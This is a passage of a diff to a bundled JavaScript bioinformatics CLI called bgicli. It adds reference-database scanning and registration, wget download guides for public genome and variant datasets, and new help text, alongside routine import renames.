+ const full = { ...entry, id, addedAt: (/* @__PURE__ */ new Date()).toISOString() };
14766
+ registry.databases[id] = full;
14767
+ return full;
14768
+ }
14769
+ function removeDbEntry(registry, id) {
14770
+ if (!registry.databases[id]) return false;
14771
+ delete registry.databases[id];
14772
+ return true;
14773
+ }
14774
+ function slugify(s2) {
14775
+ return s2.toLowerCase().replace(/[^a-z0-9]+/g, "-").replace(/^-|-$/g, "");
14776
+ }
14777
+ var FILE_PATTERNS = [
14778
+ // Reference FASTA
14779
+ { regex: /\bhg38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg38" },
14780
+ { regex: /\bGRCh38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg38" },
14781
+ { regex: /\bhg19\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg19" },
14782
+ { regex: /\bGRCh37\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg19" },
14783
+ { regex: /\bmm10\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm10" },
14784
+ { regex: /\bGRCm38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm10" },
14785
+ { regex: /\bmm39\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm39" },
14786
+ { regex: /\bGRCm39\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm39" },
14787
+ { regex: /\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "other" },
14788
+ // GTF / GFF
14789
+ { regex: /\bhg38\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg38" },
14790
+ { regex: /\bGRCh38\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg38" },
14791
+ { regex: /\bhg19\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg19" },
14792
+ { regex: /\bmm10\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "mm10" },
14793
+ { regex: /\.gtf(\.gz)?$/i, type: "gtf", genome: "other" },
14794
+ { regex: /\.gff3?(\.gz)?$/i, type: "gff3", genome: "other" },
14795
+ // VCF databases
14796
+ { regex: /dbsnp.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14797
+ { regex: /clinvar.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14798
+ { regex: /gnomad.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14799
+ { regex: /mills.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14800
+ { regex: /1000G.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14801
+ { regex: /hapmap.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14802
+ // BED
14803
+ { regex: /\.(bed|bed\.gz)$/i, type: "bed", genome: "other" }
14804
+ ];
14805
+ var DIR_PATTERNS = [
14806
+ { regex: /star.*index|star_genome/i, type: "star_index", indicator: "Genome.sjdbInfo.txt" },
14807
+ { regex: /hisat2.*index/i, type: "hisat2_index", indicator: ".ht2" },
14808
+ { regex: /salmon.*index/i, type: "salmon_index", indicator: "info.json" },
14809
+ { regex: /kraken2?/i, type: "kraken2_db", indicator: "hash.k2d" },
14810
+ { regex: /diamond/i, type: "diamond_db", indicator: ".dmnd" },
14811
+ { regex: /blast_db|blastdb/i, type: "blast_db", indicator: ".nsq" }
14812
+ ];
14813
+ function defaultSearchRoots() {
14814
+ const home = (0, import_os3.homedir)();
14815
+ const roots = [
14816
+ "/data",
14817
+ "/ref",
14818
+ "/reference",
14819
+ "/genomes",
14820
+ "/databases",
14821
+ "/db",
14822
+ "/lustre",
14823
+ "/GPFS",
14824
+ "/scratch",
14825
+ "/work",
14826
+ "/shared",
14827
+ (0, import_path4.join)(home, "databases"),
14828
+ (0, import_path4.join)(home, "data"),
14829
+ (0, import_path4.join)(home, "reference"),
14830
+ (0, import_path4.join)(home, "ref"),
14831
+ process.cwd()
14832
+ ];
14833
+ return roots.filter((r2) => (0, import_fs4.existsSync)(r2));
14834
+ }
14835
+ function detectGenomeFromPath(path) {
14836
+ const p2 = path.toLowerCase();
14837
+ if (p2.includes("hg38") || p2.includes("grch38")) return "hg38";
14838
+ if (p2.includes("hg19") || p2.includes("grch37") || p2.includes("b37")) return "hg19";
14839
+ if (p2.includes("mm10") || p2.includes("grcm38")) return "mm10";
14840
+ if (p2.includes("mm39") || p2.includes("grcm39")) return "mm39";
14841
+ if (p2.includes("rn7")) return "rn7";
14842
+ if (p2.includes("dm6")) return "dm6";
14843
+ if (p2.includes("danrer")) return "danRer11";
14844
+ return "other";
14845
+ }
14846
+ function labelFor(type, genome, name) {
14847
+ const typeLabels = {
14848
+ fasta: "\u53C2\u8003\u57FA\u56E0\u7EC4 FASTA",
14849
+ gtf: "\u57FA\u56E0\u6CE8\u91CA GTF",
14850
+ gff3: "\u57FA\u56E0\u6CE8\u91CA GFF3",
14851
+ vcf: "VCF \u53D8\u5F02\u6570\u636E\u5E93",
14852
+ bed: "BED \u533A\u57DF\u6587\u4EF6",
14853
+ star_index: "STAR \u6BD4\u5BF9\u7D22\u5F15",
14854
+ hisat2_index: "HISAT2 \u6BD4\u5BF9\u7D22\u5F15",
14855
+ bwa_index: "BWA \u6BD4\u5BF9\u7D22\u5F15",
14856
+ bowtie2_index: "Bowtie2 \u6BD4\u5BF9\u7D22\u5F15",
14857
+ salmon_index: "Salmon \u5B9A\u91CF\u7D22\u5F15",
14858
+ kraken2_db: "Kraken2 \u5B8F\u57FA\u56E0\u7EC4\u5E93",
14859
+ diamond_db: "DIAMOND \u86CB\u767D\u5E93",
14860
+ blast_db: "BLAST \u6570\u636E\u5E93",
14861
+ other: "\u6570\u636E\u5E93"
14862
+ };
14863
+ const genomeLabel = genome !== "other" ? ` (${genome})` : "";
14864
+ return `${typeLabels[type]}${genomeLabel} \u2014 ${name}`;
14865
+ }
14866
+ function scanForDatabases(extraRoots = []) {
14867
+ const roots = [...defaultSearchRoots(), ...extraRoots.map((r2) => (0, import_path4.resolve)(r2))];
14868
+ const found = [];
14869
+ const seen = /* @__PURE__ */ new Set();
14870
+ let skippedDirs = 0;
14871
+ function walk(dir, depth) {
14872
+ if (depth > 4) return;
14873
+ let entries;
14874
+ try {
14875
+ entries = (0, import_fs4.readdirSync)(dir);
14876
+ } catch {
14877
+ skippedDirs++;
14878
+ return;
14879
+ }
14880
+ for (const name of entries) {
14881
+ if (name.startsWith(".")) continue;
14882
+ const fullPath = (0, import_path4.join)(dir, name);
14883
+ let stat;
14884
+ try {
14885
+ stat = (0, import_fs4.statSync)(fullPath);
14886
+ } catch {
14887
+ continue;
14888
+ }
14889
+ if (stat.isDirectory()) {
14890
+ for (const dp of DIR_PATTERNS) {
14891
+ if (dp.regex.test(name)) {
14892
+ if (!dp.indicator || (0, import_fs4.readdirSync)(fullPath).some((f2) => f2.endsWith(dp.indicator))) {
14893
+ const genome = detectGenomeFromPath(fullPath);
14894
+ const id = slugify(`${genome}-${dp.type}-${(0, import_path4.basename)(fullPath)}`);
14895
+ if (!seen.has(fullPath)) {
14896
+ seen.add(fullPath);
14897
+ found.push({
14898
+ id,
14899
+ genome,
14900
+ type: dp.type,
14901
+ path: fullPath,
14902
+ label: labelFor(dp.type, genome, name),
14903
+ addedAt: (/* @__PURE__ */ new Date()).toISOString(),
14904
+ source: "scan"
14905
+ });
14906
+ }
14907
+ break;
14908
+ }
14909
+ }
14910
+ }
14911
+ if (!DIR_PATTERNS.some((dp) => dp.regex.test(name))) {
14912
+ try {
14913
+ const sub = (0, import_fs4.readdirSync)(fullPath);
14914
+ if (sub.some((f2) => f2.endsWith(".bwt")) && sub.some((f2) => f2.endsWith(".ann"))) {
14915
+ const genome = detectGenomeFromPath(fullPath);
14916
+ const id = slugify(`${genome}-bwa_index-${(0, import_path4.basename)(fullPath)}`);
14917
+ if (!seen.has(fullPath)) {
14918
+ seen.add(fullPath);
14919
+ found.push({ id, genome, type: "bwa_index", path: fullPath, label: labelFor("bwa_index", genome, name), addedAt: (/* @__PURE__ */ new Date()).toISOString(), source: "scan" });
14920
+ }
14921
+ }
14922
+ } catch {
14923
+ }
14924
+ walk(fullPath, depth + 1);
14925
+ }
14926
+ } else if (stat.isFile()) {
14927
+ for (const fp of FILE_PATTERNS) {
14928
+ if (fp.regex.test(name)) {
14929
+ const genome = fp.genome === "other" ? detectGenomeFromPath(fullPath) : fp.genome;
14930
+ const id = slugify(`${genome}-${fp.type}-${name.replace(/\.gz$/, "").replace(/\.[^.]+$/, "")}`);
14931
+ if (!seen.has(fullPath)) {
14932
+ seen.add(fullPath);
14933
+ found.push({
14934
+ id,
14935
+ genome,
14936
+ type: fp.type,
14937
+ path: fullPath,
14938
+ label: labelFor(fp.type, genome, name),
14939
+ sizeBytes: stat.size,
14940
+ addedAt: (/* @__PURE__ */ new Date()).toISOString(),
14941
+ source: "scan"
14942
+ });
14943
+ }
14944
+ break;
14945
+ }
14946
+ }
14947
+ }
14948
+ }
14949
+ }
14950
+ for (const root of new Set(roots)) {
14951
+ walk(root, 0);
14952
+ }
14953
+ return { found, skippedDirs };
14954
+ }
14955
+ function buildDbPromptSection(registry) {
14956
+ const entries = Object.values(registry.databases);
14957
+ if (entries.length === 0) {
14958
+ return "\uFF08\u6682\u672A\u6CE8\u518C\u4EFB\u4F55\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09";
14959
+ }
14960
+ const byGenome = {};
14961
+ for (const e2 of entries) {
14962
+ (byGenome[e2.genome] ??= []).push(e2);
14963
+ }
14964
+ const lines = [];
14965
+ for (const [genome, dbs] of Object.entries(byGenome).sort()) {
14966
+ lines.push(`### ${genome}`);
14967
+ for (const db of dbs.sort((a2, b2) => a2.type.localeCompare(b2.type))) {
14968
+ const exists = (0, import_fs4.existsSync)(db.path) ? "" : " \u26A0(\u8DEF\u5F84\u4E0D\u5B58\u5728)";
14969
+ const size = db.sizeBytes ? ` [${(db.sizeBytes / 1e9).toFixed(1)}GB]` : "";
14970
+ lines.push(`- **${db.label}** (\`${db.type}\`): \`${db.path}\`${size}${exists}`);
14971
+ }
14972
+ lines.push("");
14973
+ }
14974
+ return lines.join("\n").trim();
14975
+ }
14976
+ var DOWNLOAD_GUIDES = {
14977
+ "hg38-fasta": {
14978
+ label: "GRCh38 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
14979
+ cmds: [
14980
+ "wget https://hgdownload.soe.ucsc.edu/goldenPath/hg38/bigZips/hg38.fa.gz",
14981
+ "gunzip hg38.fa.gz && samtools faidx hg38.fa"
14982
+ ]
14983
+ },
14984
+ "hg19-fasta": {
14985
+ label: "GRCh37/hg19 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
14986
+ cmds: [
14987
+ "wget https://hgdownload.soe.ucsc.edu/goldenPath/hg19/bigZips/hg19.fa.gz",
14988
+ "gunzip hg19.fa.gz && samtools faidx hg19.fa"
14989
+ ]
14990
+ },
14991
+ "mm10-fasta": {
14992
+ label: "GRCm38/mm10 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
14993
+ cmds: ["wget https://hgdownload.soe.ucsc.edu/goldenPath/mm10/bigZips/mm10.fa.gz"]
14994
+ },
14995
+ "hg38-gtf": {
14996
+ label: "Ensembl hg38 \u57FA\u56E0\u6CE8\u91CA GTF",
14997
+ cmds: ["wget https://ftp.ensembl.org/pub/release-110/gtf/homo_sapiens/Homo_sapiens.GRCh38.110.gtf.gz"]
14998
+ },
14999
+ "hg38-dbsnp": {
15000
+ label: "dbSNP b156 VCF (hg38)",
15001
+ cmds: ["wget https://ftp.ncbi.nlm.nih.gov/snp/latest_release/VCF/GCF_000001405.40.gz"]
15002
+ },
15003
+ "hg38-clinvar": {
15004
+ label: "ClinVar VCF (hg38)",
15005
+ cmds: ["wget https://ftp.ncbi.nlm.nih.gov/pub/clinvar/vcf_GRCh38/clinvar.vcf.gz"]
15006
+ },
15007
+ "hg38-gnomad": {
15008
+ label: "gnomAD v4 sites VCF (hg38)",
15009
+ cmds: ["# See https://gnomad.broadinstitute.org/downloads for latest URLs"]
15010
+ }
15011
+ };
15012
+
14541
15013
  // src/skillRouter.ts
14542
15014
  var SKILL_CATEGORIES = {
14543
15015
  "\u8F6C\u5F55\u7EC4": { label: "\u8F6C\u5F55\u7EC4\u5B66 (Transcriptomics)", icon: "\u{1F9EC}" },
@@ -15285,17 +15757,17 @@ function routeSkill(message) {
15285
15757
  }
15286
15758
 
15287
15759
  // src/sessions.ts
15288
- var import_fs4 = require("fs");
15289
- var import_path4 = require("path");
15290
- var SESSIONS_DIR = (0, import_path4.join)(BGI_DIR, "sessions");
15291
- var CHECKPOINTS_DIR = (0, import_path4.join)(BGI_DIR, "checkpoints");
15760
+ var import_fs5 = require("fs");
15761
+ var import_path5 = require("path");
15762
+ var SESSIONS_DIR = (0, import_path5.join)(BGI_DIR, "sessions");
15763
+ var CHECKPOINTS_DIR = (0, import_path5.join)(BGI_DIR, "checkpoints");
15292
15764
  function ensureSessionDirs() {
15293
15765
  for (const d2 of [SESSIONS_DIR, CHECKPOINTS_DIR]) {
15294
- if (!(0, import_fs4.existsSync)(d2)) (0, import_fs4.mkdirSync)(d2, { recursive: true });
15766
+ if (!(0, import_fs5.existsSync)(d2)) (0, import_fs5.mkdirSync)(d2, { recursive: true });
15295
15767
  }
15296
15768
  }
15297
15769
  function sessionPath(id) {
15298
- return (0, import_path4.join)(SESSIONS_DIR, `${id}.json`);
15770
+ return (0, import_path5.join)(SESSIONS_DIR, `${id}.json`);
15299
15771
  }
15300
15772
  function newSessionId() {
15301
15773
  const now = /* @__PURE__ */ new Date();
@@ -15319,25 +15791,25 @@ function saveSession(id, name, messages, skills, createdAt) {
15319
15791
  preview,
15320
15792
  messages
15321
15793
  };
15322
- (0, import_fs4.writeFileSync)(sessionPath(id), JSON.stringify(session, null, 2), "utf8");
15794
+ (0, import_fs5.writeFileSync)(sessionPath(id), JSON.stringify(session, null, 2), "utf8");
15323
15795
  }
15324
15796
  function loadSession(id) {
15325
15797
  ensureSessionDirs();
15326
15798
  const p2 = sessionPath(id);
15327
- if (!(0, import_fs4.existsSync)(p2)) return null;
15799
+ if (!(0, import_fs5.existsSync)(p2)) return null;
15328
15800
  try {
15329
- return JSON.parse((0, import_fs4.readFileSync)(p2, "utf8"));
15801
+ return JSON.parse((0, import_fs5.readFileSync)(p2, "utf8"));
15330
15802
  } catch {
15331
15803
  return null;
15332
15804
  }
15333
15805
  }
15334
15806
  function listSessions() {
15335
15807
  ensureSessionDirs();
15336
- const files = (0, import_fs4.readdirSync)(SESSIONS_DIR).filter((f2) => f2.endsWith(".json"));
15808
+ const files = (0, import_fs5.readdirSync)(SESSIONS_DIR).filter((f2) => f2.endsWith(".json"));
15337
15809
  const metas = [];
15338
15810
  for (const f2 of files) {
15339
15811
  try {
15340
- const raw = JSON.parse((0, import_fs4.readFileSync)((0, import_path4.join)(SESSIONS_DIR, f2), "utf8"));
15812
+ const raw = JSON.parse((0, import_fs5.readFileSync)((0, import_path5.join)(SESSIONS_DIR, f2), "utf8"));
15341
15813
  metas.push({
15342
15814
  id: raw.id,
15343
15815
  name: raw.name,
@@ -15354,8 +15826,8 @@ function listSessions() {
15354
15826
  }
15355
15827
  function deleteSession(id) {
15356
15828
  const p2 = sessionPath(id);
15357
- if (!(0, import_fs4.existsSync)(p2)) return false;
15358
- (0, import_fs4.unlinkSync)(p2);
15829
+ if (!(0, import_fs5.existsSync)(p2)) return false;
15830
+ (0, import_fs5.unlinkSync)(p2);
15359
15831
  return true;
15360
15832
  }
15361
15833
  function getLastSession() {
@@ -15363,7 +15835,7 @@ function getLastSession() {
15363
15835
  return all[0] ?? null;
15364
15836
  }
15365
15837
  function checkpointPath(id) {
15366
- return (0, import_path4.join)(CHECKPOINTS_DIR, `${id}.json`);
15838
+ return (0, import_path5.join)(CHECKPOINTS_DIR, `${id}.json`);
15367
15839
  }
15368
15840
  function saveCheckpoint(sessionId, label, messages, skills) {
15369
15841
  ensureSessionDirs();
@@ -15377,16 +15849,16 @@ function saveCheckpoint(sessionId, label, messages, skills) {
15377
15849
  messages,
15378
15850
  skills
15379
15851
  };
15380
- (0, import_fs4.writeFileSync)(checkpointPath(id), JSON.stringify(cp, null, 2), "utf8");
15852
+ (0, import_fs5.writeFileSync)(checkpointPath(id), JSON.stringify(cp, null, 2), "utf8");
15381
15853
  return id;
15382
15854
  }
15383
15855
  function listCheckpoints(sessionId) {
15384
15856
  ensureSessionDirs();
15385
- const files = (0, import_fs4.readdirSync)(CHECKPOINTS_DIR).filter((f2) => f2.endsWith(".json"));
15857
+ const files = (0, import_fs5.readdirSync)(CHECKPOINTS_DIR).filter((f2) => f2.endsWith(".json"));
15386
15858
  const cps = [];
15387
15859
  for (const f2 of files) {
15388
15860
  try {
15389
- const cp = JSON.parse((0, import_fs4.readFileSync)((0, import_path4.join)(CHECKPOINTS_DIR, f2), "utf8"));
15861
+ const cp = JSON.parse((0, import_fs5.readFileSync)((0, import_path5.join)(CHECKPOINTS_DIR, f2), "utf8"));
15390
15862
  if (!sessionId || cp.sessionId === sessionId) cps.push(cp);
15391
15863
  } catch {
15392
15864
  }
@@ -15395,8 +15867,8 @@ function listCheckpoints(sessionId) {
15395
15867
  }
15396
15868
  function deleteCheckpoint(id) {
15397
15869
  const p2 = checkpointPath(id);
15398
- if (!(0, import_fs4.existsSync)(p2)) return false;
15399
- (0, import_fs4.unlinkSync)(p2);
15870
+ if (!(0, import_fs5.existsSync)(p2)) return false;
15871
+ (0, import_fs5.unlinkSync)(p2);
15400
15872
  return true;
15401
15873
  }
15402
15874
  function clearCheckpoints(sessionId) {
@@ -15409,8 +15881,8 @@ function clearCheckpoints(sessionId) {
15409
15881
  }
15410
15882
 
15411
15883
  // src/index.ts
15412
- var import_fs6 = require("fs");
15413
- var VERSION2 = "2.2.14";
15884
+ var import_fs7 = require("fs");
15885
+ var VERSION2 = "2.2.16";
15414
15886
  var SKILLHUB_HUBS = {
15415
15887
  bgi: { label: "BGI\u5185\u7F51", apiBase: "https://clawhub.ai", backend: "clawhub" },
15416
15888
  clawhub: { label: "clawhub.ai", apiBase: "https://clawhub.ai", backend: "clawhub" },
@@ -15418,13 +15890,13 @@ var SKILLHUB_HUBS = {
15418
15890
  };
15419
15891
  function httpGetJson(url) {
15420
15892
  const mod = url.startsWith("https") ? import_https2.get : require("http").get;
15421
- return new Promise((resolve3, reject) => {
15893
+ return new Promise((resolve4, reject) => {
15422
15894
  const req = mod(url, { headers: { "User-Agent": `bgicli/${VERSION2}`, Accept: "application/json" } }, (res) => {
15423
15895
  const chunks = [];
15424
15896
  res.on("data", (c2) => chunks.push(c2));
15425
15897
  res.on("end", () => {
15426
15898
  try {
15427
- resolve3(JSON.parse(Buffer.concat(chunks).toString()));
15899
+ resolve4(JSON.parse(Buffer.concat(chunks).toString()));
15428
15900
  } catch (e2) {
15429
15901
  reject(new Error(`JSON parse error from ${url}`));
15430
15902
  }
@@ -15465,7 +15937,7 @@ async function searchSkillHub(query, hub, limit2 = 10) {
15465
15937
  }
15466
15938
  }
15467
15939
  async function downloadSkillMd(slug) {
15468
- const data = await new Promise((resolve3, reject) => {
15940
+ const data = await new Promise((resolve4, reject) => {
15469
15941
  const req = (0, import_https2.get)(
15470
15942
  `https://clawhub.ai/api/v1/skills/${encodeURIComponent(slug)}/file?path=SKILL.md`,
15471
15943
  { headers: { "User-Agent": `bgicli/${VERSION2}` } },
@@ -15477,7 +15949,7 @@ async function downloadSkillMd(slug) {
15477
15949
  }
15478
15950
  const chunks = [];
15479
15951
  res.on("data", (c2) => chunks.push(c2));
15480
- res.on("end", () => resolve3(Buffer.concat(chunks).toString()));
15952
+ res.on("end", () => resolve4(Buffer.concat(chunks).toString()));
15481
15953
  }
15482
15954
  );
15483
15955
  req.setTimeout(15e3, () => {
@@ -15499,7 +15971,7 @@ function isNewer(latest, current) {
15499
15971
  async function checkAndAutoUpdate() {
15500
15972
  let latest;
15501
15973
  try {
15502
- latest = await new Promise((resolve3, reject) => {
15974
+ latest = await new Promise((resolve4, reject) => {
15503
15975
  const req = (0, import_https2.get)(
15504
15976
  "https://registry.npmjs.org/@bgicli/bgicli/latest",
15505
15977
  { headers: { "User-Agent": `bgicli/${VERSION2}` } },
@@ -15508,7 +15980,7 @@ async function checkAndAutoUpdate() {
15508
15980
  res.on("data", (c2) => chunks.push(c2));
15509
15981
  res.on("end", () => {
15510
15982
  try {
15511
- resolve3(JSON.parse(Buffer.concat(chunks).toString()).version);
15983
+ resolve4(JSON.parse(Buffer.concat(chunks).toString()).version);
15512
15984
  } catch {
15513
15985
  reject(new Error("parse"));
15514
15986
  }
@@ -15530,10 +16002,10 @@ async function checkAndAutoUpdate() {
15530
16002
  \u{1F504} \u53D1\u73B0\u65B0\u7248\u672C v${latest}\uFF08\u5F53\u524D v${VERSION2}\uFF09\uFF0C\u6B63\u5728\u81EA\u52A8\u66F4\u65B0...
15531
16003
  `)
15532
16004
  );
15533
- const ok = await new Promise((resolve3) => {
16005
+ const ok = await new Promise((resolve4) => {
15534
16006
  (0, import_child_process2.exec)(
15535
16007
  `npm install -g @bgicli/bgicli@${latest} --registry https://registry.npmjs.org`,
15536
- (error) => resolve3(!error)
16008
+ (error) => resolve4(!error)
15537
16009
  );
15538
16010
  });
15539
16011
  if (ok) {
@@ -15552,21 +16024,21 @@ var SESSION_CTX = {
15552
16024
  wdirSnapshot: null
15553
16025
  };
15554
16026
  function installBundledData() {
15555
- const bundledData = (0, import_path5.join)(__dirname, "..", "data");
15556
- if (!(0, import_fs5.existsSync)(bundledData)) return;
16027
+ const bundledData = (0, import_path6.join)(__dirname, "..", "data");
16028
+ if (!(0, import_fs6.existsSync)(bundledData)) return;
15557
16029
  ensureDirs();
15558
16030
  const targets = [
15559
- { src: (0, import_path5.join)(bundledData, "workflows"), dest: WORKFLOWS_DIR, name: "Skills (\u751F\u4FE1\u5DE5\u4F5C\u6D41)" },
15560
- { src: (0, import_path5.join)(bundledData, "skills"), dest: SKILLS_DIR, name: "Skills (\u533B\u5B66\u4E13\u79D1)" },
15561
- { src: (0, import_path5.join)(bundledData, "tools"), dest: TOOLS_DIR, name: "\u5DE5\u5177" }
16031
+ { src: (0, import_path6.join)(bundledData, "workflows"), dest: WORKFLOWS_DIR, name: "Skills (\u751F\u4FE1\u5DE5\u4F5C\u6D41)" },
16032
+ { src: (0, import_path6.join)(bundledData, "skills"), dest: SKILLS_DIR, name: "Skills (\u533B\u5B66\u4E13\u79D1)" },
16033
+ { src: (0, import_path6.join)(bundledData, "tools"), dest: TOOLS_DIR, name: "\u5DE5\u5177" }
15562
16034
  ];
15563
16035
  let installed = false;
15564
16036
  for (const { src, dest, name } of targets) {
15565
- if (!(0, import_fs5.existsSync)(src)) continue;
15566
- const isEmpty = !(0, import_fs5.existsSync)(dest) || (0, import_fs5.readdirSync)(dest).length === 0;
16037
+ if (!(0, import_fs6.existsSync)(src)) continue;
16038
+ const isEmpty = !(0, import_fs6.existsSync)(dest) || (0, import_fs6.readdirSync)(dest).length === 0;
15567
16039
  if (isEmpty) {
15568
- (0, import_fs5.mkdirSync)(dest, { recursive: true });
15569
- (0, import_fs5.cpSync)(src, dest, { recursive: true });
16040
+ (0, import_fs6.mkdirSync)(dest, { recursive: true });
16041
+ (0, import_fs6.cpSync)(src, dest, { recursive: true });
15570
16042
  if (!installed) {
15571
16043
  process.stdout.write(source_default.dim("\u6B63\u5728\u521D\u59CB\u5316\u5185\u7F6E\u6570\u636E...\n"));
15572
16044
  installed = true;
@@ -15634,9 +16106,19 @@ function printHelp() {
15634
16106
  console.log(` ${source_default.cyan("/run")} <skill-id> \u4EA4\u4E92\u5F0F\u53C2\u6570\u5411\u5BFC\uFF0C\u81EA\u52A8\u751F\u6210\u5E76\u6267\u884C\u5206\u6790\u811A\u672C`);
15635
16107
  console.log(` ${source_default.cyan("/check-env")} [id] \u68C0\u6D4B Skill \u6240\u9700 R/Python \u5305\u662F\u5426\u5DF2\u5B89\u88C5`);
15636
16108
  console.log(` ${source_default.cyan("/search")} <\u5173\u952E\u8BCD> \u5728 SkillHub \u641C\u7D22\u5E76\u4E0B\u8F7D\u6280\u80FD ${source_default.dim("[--hub=bgi|clawhub|tencent]")}`);
15637
- console.log(` ${source_default.cyan("/install")} <url|slug> \u4ECE GitHub \u6216 SkillHub \u5B89\u88C5 Skill`);
16109
+ console.log(` ${source_default.cyan("/install")} <url|slug> \u4ECE GitHub \u6216 SkillHub \u5B89\u88C5 Skill\uFF08\u542B\u5B89\u5168\u626B\u63CF\uFF09`);
15638
16110
  console.log(` ${source_default.cyan("/uninstall")} <id> \u5378\u8F7D\u5DF2\u5B89\u88C5\u7684\u7B2C\u4E09\u65B9 Skill`);
15639
16111
  console.log();
16112
+ console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u6570\u636E\u5E93\u7BA1\u7406 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
16113
+ console.log(` ${source_default.cyan("/db list")} \u5217\u51FA\u5DF2\u6CE8\u518C\u53C2\u8003\u6570\u636E\u5E93`);
16114
+ console.log(` ${source_default.cyan("/db add")} <\u8DEF\u5F84> \u624B\u52A8\u6CE8\u518C\u6570\u636E\u5E93\u8DEF\u5F84\uFF08\u957F\u671F\u4FDD\u5B58\uFF09`);
16115
+ console.log(` ${source_default.cyan("/db scan")} [\u76EE\u5F55] \u81EA\u52A8\u626B\u63CF\u6587\u4EF6\u7CFB\u7EDF\u67E5\u627E\u5DF2\u77E5\u6570\u636E\u5E93`);
16116
+ console.log(` ${source_default.cyan("/db rm")} <id> \u5220\u9664\u6570\u636E\u5E93\u8BB0\u5F55`);
16117
+ console.log(` ${source_default.cyan("/db download")} [\u540D\u79F0] \u663E\u793A\u6807\u51C6\u6570\u636E\u5E93\u4E0B\u8F7D\u547D\u4EE4`);
16118
+ console.log();
16119
+ console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u5B89\u5168\u626B\u63CF \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
16120
+ console.log(` ${source_default.cyan("/scan")} <\u547D\u4EE4> \u626B\u63CF\u547D\u4EE4\u5B89\u5168\u98CE\u9669 ${source_default.dim("[CRITICAL/HIGH/MEDIUM/LOW]")}`);
16121
+ console.log();
15640
16122
  console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u6587\u4EF6 & \u76EE\u5F55 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
15641
16123
  console.log(` ${source_default.cyan("/cd")} <\u8DEF\u5F84> \u66F4\u6539\u5DE5\u4F5C\u76EE\u5F55`);
15642
16124
  console.log(` ${source_default.cyan("/cwd")} \u663E\u793A\u5F53\u524D\u5DE5\u4F5C\u76EE\u5F55`);
@@ -15736,10 +16218,10 @@ async function firstRunIfNeeded(rl) {
15736
16218
  function collectAllSkills() {
15737
16219
  const entries = [];
15738
16220
  const addFrom = (dir, tag) => {
15739
- if (!(0, import_fs5.existsSync)(dir)) return;
15740
- (0, import_fs5.readdirSync)(dir).forEach((f2) => {
16221
+ if (!(0, import_fs6.existsSync)(dir)) return;
16222
+ (0, import_fs6.readdirSync)(dir).forEach((f2) => {
15741
16223
  try {
15742
- if ((0, import_fs5.statSync)((0, import_path5.join)(dir, f2)).isDirectory()) entries.push({ id: f2, dir, tag });
16224
+ if ((0, import_fs6.statSync)((0, import_path6.join)(dir, f2)).isDirectory()) entries.push({ id: f2, dir, tag });
15743
16225
  } catch {
15744
16226
  }
15745
16227
  });
@@ -15779,9 +16261,9 @@ async function llmRecommendSkills(userQuery) {
15779
16261
  const all = collectAllSkills();
15780
16262
  const catalogLines = [];
15781
16263
  for (const entry of all) {
15782
- const skillPath = (0, import_path5.join)(entry.dir, entry.id, "SKILL.md");
15783
- if (!(0, import_fs5.existsSync)(skillPath)) continue;
15784
- const raw = (0, import_fs5.readFileSync)(skillPath, "utf8");
16264
+ const skillPath = (0, import_path6.join)(entry.dir, entry.id, "SKILL.md");
16265
+ if (!(0, import_fs6.existsSync)(skillPath)) continue;
16266
+ const raw = (0, import_fs6.readFileSync)(skillPath, "utf8");
15785
16267
  const { name, shortDesc } = parseSkillMeta(raw);
15786
16268
  const displayName = name || entry.id;
15787
16269
  const desc = shortDesc ? ` \u2014 ${shortDesc}` : "";
@@ -15840,12 +16322,12 @@ async function injectSkill(id, history, injectedSkills, rl, skipConfirm = false)
15840
16322
  console.log(source_default.dim("\u4F7F\u7528 /sk <\u5173\u952E\u8BCD> \u641C\u7D22"));
15841
16323
  return false;
15842
16324
  }
15843
- const skillPath = (0, import_path5.join)(match.dir, match.id, "SKILL.md");
15844
- if (!(0, import_fs5.existsSync)(skillPath)) {
16325
